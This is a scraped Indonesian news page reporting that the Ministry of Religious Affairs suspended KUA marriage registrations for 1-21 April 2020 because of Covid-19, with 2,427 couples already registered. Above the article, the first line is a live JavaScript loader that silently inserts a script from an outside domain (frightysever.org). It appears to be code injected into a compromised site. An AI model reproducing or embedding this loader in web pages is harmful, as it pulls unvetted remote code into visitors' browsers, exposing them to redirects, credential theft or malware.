(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Duh, 2.427 Calon Pengantin Harus Menunggu Usai KUA Tutup Layanan Nikah per 1 April


KANALKALIMANTAN.COM, JAKARTA– Kementerian Agama mengeluarkan aturan terbaru soal menikah selama wabah penyakit Covid-19. Lewat Surat Edaran Menteri Agama dan Direktur Jenderal Bimbingan Masyarakat Islam yang terbaru, pendaftaran akad nikah ditutup sementara pada 1-21 April 2020.

Jika mengutip laman Kementerian Agama, sudah ribuan calon pengantin di Indonesia yang mendaftar secara daring (online) sejak 1 April 2020.

“Data per (3 April 2020) jam 15.00 WIB (yang terekam di simkah.kemenag.go.id) sebanyak 2.427 calon pengantin,” kata Anwar Saadi, Kepala Sub Direktorat Mutu Sarana Prasana dan Sistem Informasi KUA.

Sebelumnya, Kementerian Agama membolehkan akad nikah berlangsung di KUA dan tidak melayani akad nikah di rumah calon pengantin. Pendaftarannya hanya bisa dilakukan secara daring (online) terpusat ke laman khusus Sistem Informasi Manajemen Nikah atau Simkah Kementerian Agama.

Belakangan muncul pengumuman baru. Berdasarkan Surat Edaran Menteri Agama Republik Indonesia Nomor 5 Tahun 2020 dan Surat Edaran Direktur Jenderal Bimbingan Masyarakat Islam No.P-003/DJ.III/HK.00.7/04/2020, pendaftaran nikah online dan pendaftaran melalui operator untuk akad nikah tanggal 1-21 April 2020 tidak dapat dilakukan.

Surat edaran itu upaya pencegahan sebaran virus Corona dan penyakit Covid-19. Sejak 26 Maret 2020 hingga pemberitahuan selanjutnya semua pegawai KUA kecamatan wajib bekerja di rumah. Untuk pelayanan mendesak disediakan beberapa nama petugas dan nomor kontaknya.(tempo)

Reporter : Tempo
Editor : Chell


Desy Arfianty

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

1 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

2 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

6 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

7 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

7 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

7 jam ago

This website uses cookies.